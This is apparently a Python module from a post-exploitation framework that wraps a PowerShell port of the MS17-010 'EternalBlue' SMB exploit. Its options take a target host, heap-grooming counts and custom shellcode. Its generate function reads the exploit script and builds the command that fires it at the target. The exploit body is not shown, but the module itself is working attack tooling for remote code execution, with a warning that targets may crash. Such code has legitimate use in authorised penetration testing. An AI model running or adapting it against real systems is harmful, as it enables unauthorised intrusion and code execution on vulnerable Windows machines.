import re
from lib.common import helpers
import pdb


class Module:
    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-EternalBlue',

            'Author': ['Sean Dillon <sean.dillon [at] risksense.com>','Dylan Davis <dylan.davis [at] risksense.com>'
                'Equation Group', 'kdick@tevora.com (e0x70i)'],

            'Description': ("Port of MS17_010 Metasploit module to powershell. "
                            "Exploits targeted system and executes specified shellcode. "
                            "Windows 7 and 2008 R2 supported. "
                            "Potential for a BSOD "),

            'Background': False,

            'OutputExtension': None,

            'NeedsAdmin': False,

            'OpsecSafe': False,

            'Language': 'powershell',

            'MinLanguageVersion': '2',

            'Comments': [
                'https://github.com/RiskSense-Ops/MS17-010',
                'https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue',
                'http://threat.tevora.com/eternal-blues/'
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent': {
                'Description': 'Agent to run module on.',
                'Required': True,
                'Value': ''
            },
            'Target': {
                'Description': 'IP or Hostname of target ',
                'Required': True,
                'Value': ''
            },
            'MaxAttempts': {
                'Description': 'Number of times to try exploit (increment grooms by 5 each time)',
                'Required': True,
                'Value': '1'
            },
            'InitialGrooms': {
                'Description': 'Number of Initial Grooms',
                'Required': True,
                'Value': '12'
            },
            'Shellcode': {
                'Description': 'Custom shellcode to inject, 0xaa,0xab,... format.',
                'Required': True,
                'Value': ''
            }
        }

        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value

    def generate(self, obfuscate=False, obfuscationCommand=""):

        # read in the common module source code
        moduleSource = self.mainMenu.installPath + "/data/module_source/exploitation/Exploit-EternalBlue.ps1"

        try:
            f = open(moduleSource, 'r')
        except:
            print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
            return ""

        moduleCode = f.read()
        f.close()

        script = moduleCode

        script += "\nInvoke-EternalBlue "

        for option, values in self.options.iteritems():
                if values['Value'] and values['Value'] != '':
                    if option.lower() == "shellcode":
                        # transform the shellcode to the correct format
                        script += " -" + str(option) + " @(" + str(values['Value']) + ")"
                    else:
                        script += " -" + str(option) + " " + str(values['Value'])

        script += "; 'Exploit complete'"

        return script
